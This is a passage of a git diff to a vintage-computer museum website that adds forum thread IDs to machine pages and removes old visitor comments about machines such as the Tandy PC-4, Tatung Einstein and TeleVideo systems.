processing engine dynamometer data. - - author: Larry Haff (FL) - date: Saturday 16th March 2013 - text: I just unearthed a Tandy PC-2 that belonged to my brother, and just for kicks I googled it to see what would pop up. What I don''t understand is of all the photos I saw that were purported to be of a PC-2, none of them look like mine nor are they identified as being a PC-2 on the face of the unit, including the ones shown on this page. What''s up with that? - - author: Dave Parker (USA) - date: Monday 2nd April 2012 - text: I have a PC-2 and it still works 30 years later. Only the pens in the printer/cassette interface are dried out and don''t work, but I have refilled them before using a water-based ink. I also have the 4K memory module for a total of 6K. The computer uses Basic and I can pack a lot of programming into that amount of memory. related: - /museum/tandy-radio-shack-trs-80-pc-1 - /museum/tandy-radio-shack-trs-80-pc-4 diff --git a/content/museum/tandy-radio-shack-trs-80-pc-4.md b/content/museum/tandy-radio-shack-trs-80-pc-4.md index 066d5d9b..5be3af99 100644 --- a/content/museum/tandy-radio-shack-trs-80-pc-4.md +++ b/content/museum/tandy-radio-shack-trs-80-pc-4.md @@ -64,6 +64,7 @@ params: - photos - links - docs + forum_thread: 977 photos: - title: PROMOTIONAL BOX subtitle: '' @@ -119,35 +120,6 @@ params:  type of document : ZIP\  size : 2 MB\  source : [Ira Goldklang's TRS-80 Revived Site](http://www.trs-80.com) - comments: - - author: Sanjin Grandić (Croatia) - date: Thursday 10th November 2022 - text: I was born in 1966 and was living in Paris when this little "marvel." I was like 13-14 yrs old when my mother bought it for me it cost 778 FF (Francs frnçais)which was a quarter of the minimum agreed salary in France, so it was not cheap when it first came out but what a joy to have this in class, the teachers thought it was a scientific calculator (which it was lol) but so hand for history AND maths or other exams with the answers "hidden in the box" behind the looks of calculator lol. I wrote a short program that displayed a clock running late less than a sec per day in 45 minutes. - - author: Greg Bzdell (Canada) - date: Monday 24th May 2021 - text: I have a working Tandy PC-4 that belonged to my oldest brother. I popped some new batteries in 3 months ago and it worked. Nice to be programming in BASIC again. - - author: jds - date: Thursday 14th March 2013 - text: Rich, I''m interested in the interface. What would you sell it for? - - author: Rich H (Ohio USA) - date: Saturday 5th January 2013 - text: is there any value to these anymore? got computer, printer and cassette interface all in good condition. frcwrx@msn.com - - author: Edward (Russia) - date: Tuesday 29th November 2011 - text: |- - MK-85 and Casio (or this Tandy) looks like two coins because soviet engineers simply take the interface modules (screen and keyboard) from cheaper pocket computer (Casio PB-100) and placed over their own platform $ PDP-compatible 16-bit chipset. Result is strange $ big computer (MK-85 can work with very big numbers $ over to 10^4000) is closed in calculator''s cage with small screen and ugly keyboard. Add there lack of any interfaces to make a program backup (there are no tape recorder or printer ports in MK-85) and you can fully imagine this strange pocket computer. Programs are saved in 2K volatile memory divided to ten parts without any chance to make a hardcopy.\ - Many of MK-85 still work today like new. Think, what today''s pocket devices can still work over 20 (MK-85 manufactured up to 1991) or near 30 years like Casio? - - author: Paradroyd (Missouri, USA) - date: Tuesday 3rd May 2011 - text: I have one of these that I bought new not too long after it was released in 1982. I used it in college classes and did some basic programming on it. The PC4 that I have still works fine in as of May, 2011. I just changed the batteries last year and powered it up to make sure it still works. I used to have the cassette interface for it too, but that was lost years ago in a move. - - author: User (Russian Federation) - date: Friday 19th June 2009 - text: |- - Looks similar to Electronica MK-85 made in USSR (1986) - - http://www.leningrad.su/museum/show_calc.php?n$172\ - http://ru.wikipedia.org/wiki/$D0$AD$D0$BB$D0$B5$D0$BA$D1$82$D1$80$D0$BE$D0$BD$D0$B8$D0$BA$D0$B0\_$D0$9C$D0$9A-85\ - http://mk85.narod.ru/about.htm related: - /museum/tandy-radio-shack-trs-80-pc-1 - /museum/tandy-radio-shack-trs-80-pc-2 diff --git a/content/museum/tangerine-microtan-65.md b/content/museum/tangerine-microtan-65.md index 2577a678..7da94818 100644 --- a/content/museum/tangerine-microtan-65.md +++ b/content/museum/tangerine-microtan-65.md @@ -53,6 +53,7 @@ params: - software - emulators - links + forum_thread: 177 photos: - title: COMPLETE SYSTEM IN RACK subtitle: '' @@ -129,45 +130,6 @@ params: - title: www.microtan.UKPC.net url: http://www.microtan.UKPC.net text: Manuals, roms, magazines, history, etc - comments: - - author: david - date: Thursday 26th May 2022 - text: I think the Oric is based on the Prestel adapter that Tangerine developed, not the MicroTan. The main feature of the MicroTan was its rock steady PAL television output - other computers at the time (Tandy/Apple/Commodore) required the purchase of a video monitor. - - author: Alan (UK) - date: Thursday 27th October 2016 - text: If you are happy to build a Microtan Achim, take a look at www.microtan.ukpc.net - - author: Achim - date: Thursday 3rd March 2016 - text: |- - Hi,\ - I am looking for a Microtan 65 in any condition.\ - Bye,\ - Achim - - author: Michael (Cumbria England) - date: Tuesday 12th August 2014 - text: Mine travelled up to Applecross in 1984 when I was working at Kishorn in the Oil industry. I think it probably taught me what I needed to get that job! One highlight was writing a "word processor" for a Wang in 1983, learnt from the Microtan, that the whole department used as no one had seen a word processor before! - - author: Neil Barnes (UK) - date: Friday 13rd July 2012 - text: |- - The computer on which I really learned hardware and software design, after starting out a year earlier with the MK14. - - The basic card and the expansion card (Tanex) were available with a tiny backplane of just two slots and sold as a Micron, but I built up a 19" rack - all the cards were eurocard with DIN41614 connectors carrying all the signals needed to do anything... I remember high-resolution (at the time) full-colour graphics cards that I designed. - - Tanex allowed a Microsoft Basic, but I also recall several other languages including one or two assemblers and Forth - figForth 65 from memory. - - I was working as an engineer for BBC News at the time, and programmed the countdown display used on the first space shuttle launch on a Microtan. I also cheerfully ripped off the design for any number of useful little projects$ an easy way to synchronise the video output over an incoming broadcast video signal had all sorts of uses in a broadcast studio. Some of the equipment I designed around this card (or around my versions of it) ran critical tasks for over fifteen years. - - author: Rex Hanson (UK) - date: Friday 4th May 2012 - text: I have a Tangerine computer in the loft . . we used to use them at work for all sorts because of their I/O capabilities. A Doctor wrote a Word Processor called Azimov for it. Mine has a long, thin orange (tangerine?) case with an almost square front panel with the connectors on ot. The PCB arrangement is that there are two in ''double decker'' formation. I think it may have been a Micron. The boards didn''t plug into a proper bus, and having later worked for a company which made S100 boards the Tangerine ones were not big enough. They could have used S100 interconnections between PCBs I suppose but they don''t look like S100 format bords to me. Still got the manuals too, plus my son had an Oric. I wonder if he''s still got it? - - author: Lloyd Davies, now USA, was UK. (Sunset Beach NC, USA) - date: Wednesday 5th October 2011 - text: Yes a group of three of us bought a Tangerine Micron in 1979, with the intent of OEM-ing video, voice and games cards and also a colour monitor. These cards, and some accompanying software, were developed and several were built, but the Micron did not go far, probably due to its prohibitively high price. just heard about Steve Jobs. - - author: John (UK) - date: Thursday 6th June 2002 - text: |- - Is my memory going funny? I think Tangerine made a computer called the Micron in about 1981, basically an expansion of the Microtan with much the same styling as your Microtan picture. As far as I can remember, it had more memory and BASIC as standard and used the S-100 bus. They were hoping it would be chosen to be the BBC computer. - - Presumably at least one was made - I've got an old magazine test of it - but I can't see anything about it on the Web! oc_id: 166 source: url: https://web.archive.org/web/20230128063429/http://www.old-computers.com/museum/computer.asp?c=166 diff --git a/content/museum/tashki-computer-system-om-8064.md b/content/museum/tashki-computer-system-om-8064.md index 30c6aed9..8c2cbaab 100644 --- a/content/museum/tashki-computer-system-om-8064.md +++ b/content/museum/tashki-computer-system-om-8064.md @@ -44,6 +44,7 @@ params: value: Unknown - label: I/O PORTS value: 8 Expansion Slots + forum_thread: 189 oc_id: 179 source: url: https://web.archive.org/web/20230608092528/http://www.old-computers.com/museum/computer.asp?c=179 diff --git a/content/museum/tatung-einstein-tc-01.md b/content/museum/tatung-einstein-tc-01.md index e228c713..c9570090 100644 --- a/content/museum/tatung-einstein-tc-01.md +++ b/content/museum/tatung-einstein-tc-01.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 101 photos: - title: SLEEPING CAT subtitle: '' @@ -195,153 +196,6 @@ params: - title: UK Einstein User Group url: http://members.lycos.co.uk/tatung_einstein/ text: Miscellaneous useful stuff and form to suscribe to the user group - comments: - - author: DENNIS PARR (UK (Wales)) - date: Thursday 25th March 2021 - text: WOW ! This forum takes me back a few years!! After a ZX\*),etc finally purchased my favourite ever - the Einstein. Can''t remember the year but it must have been an early one aasI always looked for improved models from my existing one at the time. I had a business in those days in a small North Wales town and I always hoped to have a unit which would enable me to keep track fo my sales, VAT etc. The Einstein was a godsend ! In fact I had two models - one I kept at home to do my accounts on a Saturday afternoon, and the other in the shop. I found Xtal Basic a very easy programming language and wrote several programmes ( kept me up until two in the morning ! ). The main one was to enable me to keep track of sales in the different categories for stock control purposes. I purchased a program the calculated my VAT liability and printed out a program for the Revenue at the end of the month, This was a fantastic benefit for me ! Another valuable program which I enjoyed writing was to - do with a further activity of mine - I was a swimming coach. The club in which I was a member ran competitive Galas with other clubs. Keeping track of yhe results was very primitive ( by hand calculator) and by the time the final result was known most of the spectators had gone home ! So I set to and penned a prog. the kept a running total of each swimmers results in four different lanes in real time, The final results were known and printed out in less than 20 seconds ! Another program forecast lottery winning numbers - never won more than £10 !! and so the list goes on. Happy computing - VERY HAPPY ! and sincere thank for a wonderful computer, - - author: mike westwood (weston super mare) - date: Wednesday 6th January 2021 - text: i have a fully boxed (original) einstien with discs and manuals is it worth anything or will anyone want it - - author: vanpeebles (United Kingdom) - date: Sunday 10th November 2019 - text: |- - A new forum has been setup for the Tatung 256 and Einstein, please pop by and say hello! :) - - https://www.robheaton.co.uk/tatung/ - - VP - - author: Chris Coxall (UK) - date: Sunday 3rd November 2019 - text: |- - Web Site Has Moved to\ - http://www.connectingcomputers.xyz/tatungeinstein/\ - Discussion Group For The Tatung Einstein\ - Now at https://groups.io/g/tatung-einstein\ - Under new management - - author: Mike''s Retro Tech (Rochdale/UK) - date: Friday 6th September 2019 - text: |- - Hi all, - - Who wants to share their Einstein Serial Numbers? - - I am compiling a list of all known Einsteins still kicking around, just to see how many were actually sold back in the day. - - I will be doing a sort of ''History of'' on my YouTube channel, when I get enough info together. - - My machine is a lowish S/N with Gotek drive and a real floppy drive, connected to a 15khz VGA monitor, so the display is mega stable! :) - - It also has an external sound socket so I can connect up to desktop speakers etc. - - I use it every week for gaming or business apps. - - Always on the look out for more Einstein hardware and software/mags etc. So, if anyone wants to offload their Einstein collection, give me a shout! - - Thanks - - Mike. - - author: Roger (Ulster) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - was there a zx spectrum emulator for the tatung einstein please - not just the basic... - - author: Rikard (Sweden) - date: Tuesday 14th August 2012 - text: Graham, please contact me :) - - author: Graham (Stafford, UK) - date: Saturday 30th June 2012 - text: I have one of the original development Einsteins from Bradford. It''s a black prototype case with some soldering iron marks and one of the first motherboards, a composite video output for TV and one floppy drive. There are two floppies, one with the OS and two manuals, one introduction book and one OS book. This is not getting used so I need to sell it. Please let me know if you''re interested. - - author: adam (united kingdom) - date: Saturday 21st April 2012 - text: Hi Is there any person out there who has a collection of tatung einsteins games / software availible. I do have a tatung 256 computer for sale if any person is interested. I also have a tm11 monitor if required. Please contact me on ag004r1244@blueyonder.co.uk - - author: StaggerLee (Canada) - date: Friday 6th April 2012 - text: WTB - Elite for Tatung. In exchange I can offer any other version of the game. - - author: Abbie (United Kingdom) - date: Sunday 23rd October 2011 - text: |- - Hi - - I have a Einstein TC01 for sale, in original box with original user manuals, please emails abpanks@gmail.com for more information/offers - - author: Abbie (United Kingdom) - date: Sunday 23rd October 2011 - text: |- - Hi - - I have a Einstein TC01 for sale, in original box with original user manuals, please emails abpanks@gmail.com for more information/offers - - author: Barbara (West Yorkshire) - date: Friday 19th August 2011 - text: Hello, I have an Einstein TC01 for sale. We used to connect it to our TV. It has all the manuals with it also. Pease contact me on barbara.dickinson2@btinternet.com if interested - - author: JonB (Sussex) (UK) - date: Tuesday 19th July 2011 - text: I am looking for one of these machines right now, does anyone know where I can get one? There''s a bloke selling the Einstein 256 on eBay right now (July 2011) which is brand new, unopened, but it needs a special monitor to supply power. Without that it cannot be used.. So it''s a TC01 or nothing for me... - - author: Lyndon Fletcher (UK) - date: Tuesday 30th January 2007 - text: As I recall these were stocked by either Curry's or Dixon's stores. As part of their end of year sales in 1985 the last few were sold of for (IIRC) 75 pounds without the monitor. - - author: Matt Povey (www.kyomu.org/wordpress) - date: Tuesday 27th June 2006 - text: |- - If anyone would like to own one of these things please drop me a line. I'd be happy to give it to a good home (must be a good home). I rescued it from a friend's house clearance a few years ago and it's been sat in my storage unit ever since. - - I had a fit of throwing out old PCs last week but couldn't quite bring myself to dump this (I did thow out my Sparc 5 which I felt very guilty about but I reckon that there are more than a few of those knocking about). - - I've no idea if it's working or not though there is no reason it shouldn't and I don't want any money for it. The only condition is that you be London based and flexible about when I get it to you as I'm not around a great deal. - - author: Stu M (UK) - date: Monday 21st February 2005 - text: Someone gave me one of these beauties just before Christmas. It's boxed with colour monitor and two carrier bags full of software!!! Works a treat too. It's set up among my retro collection among my network of PCs, SGIs, VAXs, DECs and other various bits and bobs. - - author: John (Warwickshire) - date: Sunday 6th June 2004 - text: |- - Wow, I loved the Einstein.\ - Wondering if anyone has any game .DSK images, i'm getting tired of playing Hangman! - - author: Paul T (UK) - date: Sunday 9th May 2004 - text: Get the M.E.S.S. (see prvious post) read this http://mysite.freeserve.com/Einstein_TC01/ courtesy of that other site, follow the instructions (don't extract the zipped bios as I did) and it should work - now to choose a PC to connect this old drive of mine to and fire up Starquake... - - author: Paul T (UK) - date: Sunday 9th May 2004 - text: |- - blew up my Einstein many years ago - still got the PSU and the disc drive and wiring diag! - and always thought about writing an emulator (too lazy to do it though) but I just found this link almost at the same time as I found this forum (http://www.emulator-zone.com/doc.php/misc/mess.html) - seems it'll emulate a TC-01\ - footnote - just tried running it and it need the Rom/bios - bum! - - author: Carl Forsyth (England) - date: Tuesday 27th January 2004 - text: |- - Does anyone have any pc emulators for any great old tc-01 games like 'Kings Valley', 'Bootman','Chuckie Egg'?\ - If anyone does then i'm shure many people who remember the tc-01 would very much like a copy including me!\ - If you do have any game emulator for the tc-01 please e-mail me a copy. It would be VERY much appreciated. Thanks. - - author: Shaun Smith (UK) - date: Tuesday 30th September 2003 - text: I have an Einstein with all the games mentioned on this site. Mine still works perfect, and so do the games. Lazy Jones was a favourite too, and Oh Mummy. There was bootman, fu kung in las vegas (with an impossible level 9) and gronks!! I've had this since i can remember. Email me for anything you wanna know or talk about. - - author: robbie ([uk]) - date: Thursday 3rd April 2003 - text: the coolest thing in the world \_ these babies rocked. does anyone remember kings valley\[amazing - finding pick axes and jumping mummys\], time bandit, comic bakery \[racoons ??\] and kung fu \[I think\]. i don't really remember any others.... silver mountain was a programable text adventure??? maybe? i can't remember. Chuckie egg of course, you are right mr wilson, pure class. and to see that blue boot up screen again \[see screen pics\] "press ctrl-BREAK to load", drowning me in memorys.... thankyou cool website, i think i'll go and cry about how simple life used to be when you were 7- what happened???????????????????????? - - author: Knightcider (Ireland) - date: Tuesday 4th March 2003 - text: I have one of these old girls, the Monitor works fine but unfortunatly the machine only half works spmething to do with the processer or what ever that removable chip was does anybody have info on this chip and what it is? I wish toget mine runing againg because it was my first pc even though it was 7yrs old when I got it. Any help would be appreciated. - - author: Chris Coxall (UK) - date: Saturday 12th October 2002 - text: 'EinTrans.exe: Einstein-PC file and disk image transfer utility available for download " hppt://members.lycos.co.uk/albertstc01/ "' - - author: Chris Coxall (kent) - date: Wednesday 20th March 2002 - text: This Tatung Einstein has some some software downloads. "http://members.lycos.co.uk/albertstc01". Also tech. info. - - author: Peter Finnigan (Lancashire, England) - date: Wednesday 20th March 2002 - text: Oh no. My mother just threw out 30 games! Our Einstein no longer works, and has long since been superceded, so it was thrown away. The Konami games collection was pure class, and games like jet set willy kept you entertained for hours. - - author: Trefor Jones (U.K.) - date: Tuesday 12th March 2002 - text: |- - Help!! - - I have one of these in working order. Does anyone out there have any software?\ - Especially a system disk! - - author: Keith Wilson (UK) - date: Tuesday 26th February 2002 - text: |- - These were wicked! My mate had one with Chuckie Egg on it and if you had the keys set up as P,L,Z,X and space for up, down, left and right, jump. It would teleport u to the next level if u held them all down at the same time! - - Pure class! oc_id: 86 source: url: https://web.archive.org/web/20230328192201/http://www.old-computers.com/museum/computer.asp?c=86 diff --git a/content/museum/tatung-pc-2000.md b/content/museum/tatung-pc-2000.md index 2eddbda2..50003513 100644 --- a/content/museum/tatung-pc-2000.md +++ b/content/museum/tatung-pc-2000.md @@ -62,24 +62,7 @@ params: value: Graphics display and board, Serial board, I/O board, FD/HD controllers - label: PRICE value: £1950 (U.K., 1984, monochrome version) - comments: - - author: edi (canada) - date: Saturday 7th January 2023 - text: TATUNG TPC-2000 price 180$ aprox - - author: apostolos (HELLAS) - date: Saturday 13rd September 2014 - text: |- - I have a TATUNG TPC-2000 and I want to sell it.\ - Is there anyone who enderested to ? - - author: fritz chwolka - date: Sunday 3rd August 2014 - text: |- - More informations about TPC-2000 - - http://z80cpu.eu/mirrors/oldcomputers.dyndns.org/public/pub/rechner/tatung/dfue/index.html - - author: ken (saskatoon) - date: Thursday 11th December 2003 - text: Does anyone have one of these? I am looking for one and will pay top $ for one. E-mail me at Kendrick9@hotmail.com if your interested in selling one + forum_thread: 883 oc_id: 903 source: url: https://web.archive.org/web/20230605135927/http://www.old-computers.com/museum/computer.asp?c=903 diff --git a/content/museum/tei-terminal-processor.md b/content/museum/tei-terminal-processor.md index e5d8522b..1dc43248 100644 --- a/content/museum/tei-terminal-processor.md +++ b/content/museum/tei-terminal-processor.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 407 photos: - title: PT-112 / 412 subtitle: '' @@ -105,18 +106,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/tei-manual%20cover.jpg - comments: - - author: Scott L - date: Tuesday 15th September 2015 - text: |- - Picture of the TEI that I have circa 1977 - - $IMG$http://i60.tinypic.com/23uwk0j.jpg$/IMG$ - - $IMG$http://i60.tinypic.com/21oht4.jpg$/IMG$ - - author: DAKOTA (jayess) - date: Monday 29th April 2002 - text: are you going to sell the TEI Terminal oc_id: 410 source: url: https://web.archive.org/web/20230329074233/http://www.old-computers.com/museum/computer.asp?c=410 diff --git a/content/museum/telcon-industries-zorba.md b/content/museum/telcon-industries-zorba.md index af604e91..0aef12b2 100644 --- a/content/museum/telcon-industries-zorba.md +++ b/content/museum/telcon-industries-zorba.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 623 photos: - title: LARGE VIEW subtitle: '' @@ -137,36 +138,6 @@ params: Upon receipt of your check, we will forward an end-user agreement. Allow 6 to 8 weeks for delivery of the units. image: /media/museum/pubs/telcon_zorba_pub_1.jpg - comments: - - author: nolan - date: Monday 14th May 2018 - text: |- - to: Mike McAuliffe\ - If still available, I am interested in your Zorba 7 computer. Please, contact me: nolan77 at gmail dot com - - author: John Roberts (Bethesda, MD USA) - date: Friday 9th March 2018 - text: |- - I''ve been looking for a reasonably priced Gemini 9-inch Amber Zorba computer in excellent condition. The Zorba was a great computer, but the drives were the weak link. What I''d love to have is one of these with a USB port! The drive bays could be just for show. - - If anyone has a Gemini Zorba with working drives they''d be willing to sell, I''d love to have one to type a book on. Just $ me a line. - - author: Mike McAuliffe (Brisbane, Australia 4061) - date: Monday 5th November 2012 - text: |- - Hi, I have inherited a Zorba 7 in excellent condition and complete with printed manual.\ - Any takers?\ - Make an offer. - - Cheers,\ - Mike - - author: Pete Gandy (USA) - date: Thursday 18th February 2010 - text: |- - Actually after this model there was another.\ - It was the Gemini Zorba.\ - I have one in working condition. I purchased in February of 1985 a couple of weeks after a house fire destroyed the original as displayed on this site.\ - The Gemini Zorba I have has a nine inch amber monitor, two double density double sided drives with push in slot rather than the doors like this.\ - I also have bundled software, WortStar, DataStar, CalcStar.\ - I purchased a kit and added an Intel board with 8086 and 256K of ram mounted on the side of the inboard FD. oc_id: 637 source: url: https://web.archive.org/web/20230331133809/http://www.old-computers.com/museum/computer.asp?c=637 diff --git a/content/museum/tele-flip-paris-video-sport-fy-707.md b/content/museum/tele-flip-paris-video-sport-fy-707.md index 42f65014..0df0a625 100644 --- a/content/museum/tele-flip-paris-video-sport-fy-707.md +++ b/content/museum/tele-flip-paris-video-sport-fy-707.md @@ -51,6 +51,7 @@ params: - software - emulators - links + forum_thread: 1069 photos: - title: PARIS VIDEO FY-707 subtitle: '' diff --git a/content/museum/tele-partner-giochi-televisivi-mod-g.md b/content/museum/tele-partner-giochi-televisivi-mod-g.md index e2f4f39d..aac72402 100644 --- a/content/museum/tele-partner-giochi-televisivi-mod-g.md +++ b/content/museum/tele-partner-giochi-televisivi-mod-g.md @@ -50,6 +50,7 @@ params: - photos - software - links + forum_thread: 1160 photos: - title: TELE-PARTNER MODEL G subtitle: '' diff --git a/content/museum/teleng-colourstars.md b/content/museum/teleng-colourstars.md index e3352121..0c2a5eda 100644 --- a/content/museum/teleng-colourstars.md +++ b/content/museum/teleng-colourstars.md @@ -50,6 +50,7 @@ params: - hardware - software - links + forum_thread: 1167 photos: - title: TELENG COLOURSTARS subtitle: '' @@ -84,31 +85,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: Jim Bragg (Australia) - date: Wednesday 7th July 2021 - text: I started working at teleng in 1972 (Sth Ockendon UK) the games consul was under development then and was on sale in 1973. - - author: Peter Shirley-Quirk (United Kingdom) - date: Saturday 27th March 2021 - text: Found your interesting site just as I was listing one of these consoles. Thanks for the background info. - - author: alan thompson (United Kingdom) - date: Sunday 28th February 2021 - text: i have one of these games consul with several game pods. - - author: Garry Grierson (United Kingdom) - date: Sunday 17th May 2020 - text: |- - I had one of these from when they came out, but didn''t start collecting the cartridges until much later. - - I would like to find a pin-out of the cartridge slot, to see if this could be used with a modern controller chip like the AT Mega. - - author: wayne (United Kingdom) - date: Wednesday 15th April 2015 - text: is there a av mod for these - - author: Webmaster (France) - date: Tuesday 9th September 2008 - text: Yes please, that would be perfect. We need pictures of the systems itself, boxes, cartridges, scan of docs or adverts, anything. Thanks again. - - author: Lee - date: Sunday 7th September 2008 - text: hi I have just found a teleng system still boxed and working in the attic do you require any photos or document images. related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/telenova-compis.md b/content/museum/telenova-compis.md index 3a9ec368..3c704673 100644 --- a/content/museum/telenova-compis.md +++ b/content/museum/telenova-compis.md @@ -57,6 +57,7 @@ params: tabs: - photos - links + forum_thread: 362 photos: - title: THE TELENOVA AND ITS PERIPHERALS subtitle: '' @@ -81,49 +82,6 @@ params: - title: Telenova Compis' page url: http://www.abc80.net/old/ver1/compis/ text: A page dedicated to the Compis with software, tools and documentation to download (in swedish). - comments: - - author: Gino Jovannelli (Italy) - date: Tuesday 29th October 2013 - text: |- - I worked in Kristinehamn Telenova (TELI) factory $ builded the Compis computer.\ - Disaster! :-/ - - author: Anders Hesselbom - date: Saturday 30th June 2012 - text: We used it for programming Comal in ninth grade. If I remember this correctly, it supported libraries and was line number based, so you could damage your library if you used to high line numbers in your program. - - author: Kimmo Laitinen (Finland) - date: Monday 15th September 2008 - text: |- - We have used this computer in physics (radioactive measurements) until today (15.9.2008). Computer still works, but geiger dont give readings any more. :( - - Our students are younger than Compis-computer!! - - author: Martin Pålsson (Sweden) - date: Thursday 3rd August 2006 - text: |- - I remember using this computer back in the mid 80's when I went to school. We were exclusively let into the computer room in the school, the computers were bought but there were only one teacher understanding the concept of computers. On the other hand he had build some i/o interfaces so that we could mesure, i think it was voltage.\ - This was my first real contact with computers and i stayed on that track... - - author: Niklas Carlsson (Sweden) - date: Monday 7th March 2005 - text: When I was in ninth grade, in 1993-94, my school still used the Compis system. We had about 15 workstations hooked up to a server, where the 10 MB harddisk were located. The screens were black/green. We used them to practice wordprocessing, and there were also some simple games that we could play against eachother via the network. The year after these computers were scrapped and replaced with ordinary PC:s. - - author: Kalle Raiskila (Finland) - date: Monday 17th February 2003 - text: |- - Hello,\ - Out of nostalgia I typed in COMPIS in google anf your site popped up. I read Christer Sjöbloms note saying that COMPIS died beacuse of "lack\ - of realism"... Hmm, since it had a 80186 it should have died sometime in the mid 80's (when the 386 was launched).\ - I used the COMPIS in the 7th - 9th grades for my very first studies of programming (in COMAL) and making music. This was in 1993-1995. And I must recommend the COMPIS for its ease of use with MIDI synths & samplers. IMHO a COMPIS would still be perfect for programming studies\ - at the lower grades at school, and I must ask my younger brother, who now attends the same school, if they still have them ;)\ - PS, as you can see from my mail, I'm not even from Sweden (as the COMPIS is) - - author: onionkid (sweden) - date: Sunday 1st December 2002 - text: |- - I´ve got a Compis, and might gain access to a Compis 2 which I´ll take some documentary pictures of when I get a digital camera.\ - I´ve also got a manual for programming Comal on Compis, and a book of schematics of it. - - author: Christian Johansson (Sweden) - date: Saturday 23rd February 2002 - text: |- - I used the COMPIS computer in a mathematics course at high school (Bergaskolan in Eslöv in Sweden) as late as 1989-1990. We used the computer for programming in COMAL. The computer was however obsolete by then and in 1990-1991 the school replaced all COMPIS computers with PCs running Windows. - - By the way, I want to protest against what Christer Sjöholm writes on the page describing this computer. He says that all influential people in Sweden were socialists before the fall of the iron curtain. I think this is mostly crap. Sweden has always been a western country. There were even people calling Sweden the 51st state of the USA since Sweden was and is one of the most "Americanized" countries in Europe. oc_id: 358 source: url: https://web.archive.org/web/20230608090713/http://www.old-computers.com/museum/computer.asp?c=358 diff --git a/content/museum/televideo-personal-mini-pm-4t.md b/content/museum/televideo-personal-mini-pm-4t.md index 97157143..13d65a5a 100644 --- a/content/museum/televideo-personal-mini-pm-4t.md +++ b/content/museum/televideo-personal-mini-pm-4t.md @@ -60,6 +60,7 @@ params: value: $6000 tabs: - adverts + forum_thread: 408 adverts: - title: US AD. JUNE 1983 subtitle: '' @@ -73,25 +74,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/televideo_pm4t_pub_s2.jpg - comments: - - author: dop hegger (Netherlands) - date: Thursday 29th May 2014 - text: |- - The TeleVideo PM4 was one of the first dedicated fileservers. It could serve up to 4 IBM (compatible) Pc''s.\ - As a server running infoshare (indeed the earliest version of Novell) is could handle record and file locking. - - I know because, as technical support manager at that time, I introduced this system in Middle and Northern Europe. - - have a nice day - - author: Stuart (Montreal) - date: Sunday 1st January 2006 - text: Came across this site- great. Sold over $10MM of Televideo-INFOSHARE (aka NOVELL) in Canada- few believe me when I tell them that infoshare 1.0 was the original NOVELL! Also sold 1,000 ALTOS Xenix/Unix CPU's a few years later- another great system!(from Dave Jackson-ex Dec) good luck! Stu - - author: Chris (New Jersey) - date: Wednesday 20th July 2005 - text: I recently picked up a pm/16t I believe. Haven't tested it yet, came with a few disks. Hope I'll be able to image them properly. E-mail me if you have one or whatever. Better yet join the yahoo group. - - author: David Bellamy (Pecker world) - date: Saturday 5th April 2003 - text: I own a large ball of wasps. oc_id: 411 source: url: https://web.archive.org/web/20230603105710/http://www.old-computers.com/museum/computer.asp?c=411 diff --git a/content/museum/televideo-ts-802.md b/content/museum/televideo-ts-802.md index 1dad1278..efab3d81 100644 --- a/content/museum/televideo-ts-802.md +++ b/content/museum/televideo-ts-802.md @@ -60,6 +60,7 @@ params: value: $3,495 (Dual F.D. version), $5,995 (H.D. version) tabs: - adverts + forum_thread: 597 adverts: - title: U.S. ADVERT (1982) subtitle: '' @@ -86,37 +87,6 @@ params: Perhaps jack was right... image: /media/museum/pubs/televideo_ts802_pub_1.jpg - comments: - - author: FM (US) - date: Saturday 24th December 2022 - text: I do believe this computer features in Duran Duran''s 1983 video for "Is There Something I should Know" - - author: Fred van Kempen (Indiana, US) - date: Thursday 1st April 2021 - text: '@Richard Ratcliffe: Consider me interested! :P I used to (have to) work on/through one of those, many moons ago.. $Fred' - - author: Richard Ratcliffe (United States) - date: Saturday 28th March 2020 - text: I have at least two of these TeleVideo TS 806. There are floppy disk and some other docs available. If you have any interest in them you can contact me. I also have CP/M disk and manuals and Dos stuff. One or two boxes of 8" and 6" floppies as well. R - - author: Franklin Couto (Brasil) - date: Thursday 20th June 2019 - text: |- - Steven, have a god day for you man.\ - So, i work in a factory end inside we make those computers.\ - I fixed a lot off end a liked so much.\ - HD 10MB ou 15MB, 64kb memory, 360k floppy, etc\ - Sorry about my english.\ - By man. - - author: Steven - date: Saturday 4th August 2018 - text: I believe the TeleVideo TS-806/TS-816 actually used RS-422 interfaces to the terminals (\~2Mbps). These were sweet machines so long as a rogue client didn''t lock the network... and the ''server'' had a very high parts count and it was ALL critical for proper operation. - - author: Jacob Mitchell (USA ) - date: Saturday 25th April 2015 - text: I just found one of these all software in the original box and styrofoam and in VERY good condition with the original dox matrix printer all manuals and alot of floppys.... - - author: EDDY SZCZERBINSKI (Canada) - date: Monday 18th November 2013 - text: I own one of these computers. I am looking for software to make it work ! Please contact me if you have any. Thank you very much. - - author: Mart (United Kingdom) - date: Tuesday 4th December 2012 - text: Dumb terminals retrofitted with on-board connectionless functionality… Isn’t this sort of what’s happening to Google Chrome OS now? oc_id: 610 source: url: https://web.archive.org/web/20230608081336/http://www.old-computers.com/museum/computer.asp?c=610 diff --git a/content/museum/televideo-ts-803.md b/content/museum/televideo-ts-803.md index a253537b..527b4466 100644 --- a/content/museum/televideo-ts-803.md +++ b/content/museum/televideo-ts-803.md @@ -67,6 +67,7 @@ params: tabs: - photos - adverts + forum_thread: 1047 photos: - title: TS-803 subtitle: '' @@ -152,28 +153,6 @@ params: subtitle: '' text: Taken from a Televideo brochure image: /media/museum/pubs/televideo_ts803_prmpict_s1.jpg - comments: - - author: jay c (United States of America ) - date: Saturday 26th February 2022 - text: i need one boot disk PLEASE!.. cant find what other options are there? - - author: Thomas (USA) - date: Sunday 10th October 2021 - text: I drove a TS-803 CP/M computer from 1984-1986 at my first job. It was there when I came on board. Ran CP/M 2.2. Had some manuals and disks with the system. Among other things, I wrote a program that made use of the graphics capability to plot graphics. I think I was using BASIC to pass variables and make 